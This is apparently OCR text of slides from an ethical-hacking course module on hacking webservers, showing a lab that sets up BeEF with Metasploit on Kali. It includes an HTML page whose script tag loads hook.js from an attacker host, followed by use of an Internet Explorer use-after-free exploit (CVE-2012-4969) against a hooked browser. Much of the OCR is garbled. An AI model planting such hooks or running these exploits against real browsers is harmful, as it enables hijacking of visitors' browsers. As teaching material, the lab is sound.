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Module 11 Hacking Webservers

Hacking Webservers

Module 11

Unmask the Invisible Hacker.
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. Web Application Attacks

Vulnerabilities in weh applications running on a webserver provide
a broad attack path for webserver compromise

Cookie ) | Unvalidated Input and
Tampering File Injection Attacks

| Session
* Hijacking

Injection
Attacks

Buffer #0 ), Cross-Site Request
Overflow ! Forgery (CSRF)
Attacks h Attack

ﬁ Cross-Site Scripting
~ [XSS) Attacks

BeEF - Browser Exploitation Framework

root@kali: fusr/sharefbeef-xss - | O

File Edit View Search Terminal Help

\ core
. yaml db

eef-xss# vi
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config.yaml (/usr/share/beef-xss) - VIM

File Edit View Search Terminal Help
i tion for mo

nsion nfiguration paramete

araklas s

enable: false

enable: true
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root@kali: fusr/share/beef-xss/extensions/metasploit

File Edit WView Search Terminal Help

Gemfile.l
modules

config.yaml (Jusr/share/beef-xss/extensions/metasploit) - VIM

File Edit WView Search Terminal Help

true" make sure

=IP Pass=abc
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config.yaml + (fusr/share/beef-xss/extensions/metasploit) - VIM

File Edit View Search Terminal Help

true" make sure you start msfr with "SSL=y",

~verHost=IP Pass=abclZ:

olt-fram

-- INSERT --
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reot@kali: /Jusr/share/beef-xss

File Edit View Search Terminal Help

y har
share/be

i
asploit#

sploit#

root@kali: ~

= ; ' sagminal  Help
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root@kali: ~

File Edit Wiew Search Terminal Help

th proxy pi
-- learn more on
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root@kali: ~

File Edit View Search Terminal Help

ting with

]
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root@kali: fusr/share/beef-xss

File Edit View 5Search Terminal Help

ey.pem core extensions Gemfile
. yaml db | o modules
ef-xss# vi
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root@kali: /Jusr/share/beef-xss

File Edit View Search Terminal Help

1:

oral] liste
Frame

c to stop)
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BeEF Authentication - lceweasel

| BeEF Authenticatign ® | é-i—':l
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4 Y
Authentiication
Username:;
Password:
S w

[ Inspect Element (Q) ]
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BeEF Authentication - lceweasel Hliiﬂ
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Computed| Fonts |Bo>c Model

F<label 1d="ext-genl8" class="x-form-1tem-label" element { inline
stylef"width:125px;“ for="pass"=</label> width: 175px; [
w<div 1d="x-form-el-pass" class="x-form-element" 1
style="pas "> .ext-gecko . ext-all.css: 937
T ! .x-form-text, .ext-ie8
field" type="passw name="pass fr x-form-text {
autocomp g 512 idth: padding-top: 2px;
175px; pLt: padding-bottom: Opx;
</div= }
<div class="x-form-clear-left"=</div> x-form-text, ) ext-all.css: 5508
</dive textarea.x-form-field
ediw ad="Trnadi naFErrar se fddus b
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BeEF Authentication = Iceweasel Hﬂﬂ
/BEEF Authentication x\%
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Authentication

Username: | |

FPassword: | |

Login |

1 | > Console _ REESGE @ Debugger ‘ [ style Editor ‘ © Profiler | & Network‘ R = o & x

Computed| Fonts |Bo>c Model

element { inline
width: 175px; [
}
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textarea. x-form-field
{ [v]

<div class="x-form-clear-left"=</div>
</div=
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BeEF Authentication — lceweasel

y BeEF Authentication x '5;3

€ | @ 172.16.100.5:3000/ui/authentication v C||G v Google G w8 ¥+ #

[F Most Visited™ “Of‘fensive Security \Kal.i Linux \Kal.i Docs \KaliTooLs ﬂExploit—DB

—eEF

Authentication
Username: heef
Password: beeﬂ

Login
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BeEF Control Panel - lceweasel
BeEF Control Panel x E[F'
€ @©17216.100.5 v & | |G v Google O wBa ¥+ #

S Most Visitedv  flOffensive Security N Kali Linux "4 Kali Docs "% Kali Tools EMExpleit-DB

# BeEF 0.4.49-alpha | Submit Bug | Logout

Hooked Browsers
__1 Online Browsers
__| Offline Browsers

Gering Started Logs

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: hitp:/fbeefproject.com/

Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you
can point a browser towards the basic demo page here, or the advanced version here.

If you want to hook AMY page (for debugging reasons of course), drag the following bookmarklet link
into your browser's bookmark bar, then simply click the shortcut on ancther page: Hook kel

After a browser is hooked into the framewoerk they will appear in the 'Hooked Browsers' panel on the
left. Hooked browsers will appear in either an online or offline state, depending on how recently they
have polled the framework.

Basic Reguester

root@kali: /var/www/pretty
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I Save Image

-——

_ B |
MName: |m',f|::ic.jpg I

Save in folder: Create Folder

var | www || pretty

Places MName ¥  Size Modified [
QL Search

=) Recently Used
3 root

H| Desktop

|_J File System

|—| Floppy Drive

1 JPEG image <

Cancel I Save

root@kali: /var/www/pretty

File Edit Wiew Search Terminal

Help
retty# 1s )

yretty# vi i html
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[No Name] + - VIM

File Edit View Search Terminal Help

<html>

<head>

<title> this is my new picture </title>

<script src="http://172.16.100.5:3000/hook .js"></script>
</head>

<body>

<img src="mypic.jpg"/>

</body>

</html>

rettv# vi index.html

¢.html




@Javangrpchannel

CVE-2012-4969 MS512-06

& https

x

www.rapid7.com/db/modules/exploit/windows/browse

1 10:44

w

Targets

Automatic

IE 7 on Windows XP SP3
IE & on Windows XP SP3
IE 7 on Windows Vista

IE & on Windows Vista

IE 8 on Windows 7

IE 9 on Windows 7

ommand_uaf

Name

mmand U
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root@kali: ~

File Edit View Search Terminal Help

olt/wine mand uaf £ good
FOSUT CITTrETTTET A = e Use-ATLe ee Yulne r'at::ui'l_ity

running as background

sa handler on

root@kali: ~

File Edit View Search Terminal Help

‘mine the ser

nain name,
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/= this is my new picture - Windows Internet Explorer

& o €] hi:ii72 16,1005 prett | L | |+ | X |EI= Live Search ||.ﬂ |*|
File  Edit
.7 Favarites | s B suggested Sites ~ @] Free Hotmail @] Wb Slice Gallery =
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'& BeEF 0.4.49-apha | Submit Bug | Logout
Hooked Browsers FGetting Started X || Logs || Current Browser | Y
4 5 0nline Browsers

4 120 10 apn I Details ” Logs H Commands H Rider ” XssRays H lpec l
i © 3 8 172.16.1004 | IB Category: Browser (5 ltems])
ot

Browser Hame: Internet Explorer Initialization

Browser Version: Initialization
Browser UA String: Mozilla'4.0 (compatible; MSIE 8.0; Windows MT 5.1; Tridert!/4.0) Initialization
Browser Flatform: Win32 Initialization
Window Size: Width: 619, Height: 279 Initialization

J=2 Category: Browser Components (14 ltems)

Flash: Yes Initialization
VBScript: Yes Initialization
PhoneGap: No Initialization
Google Gears: Mo Initialization
Silverlight: Mo Initialization

Web Sockets: No Initialization
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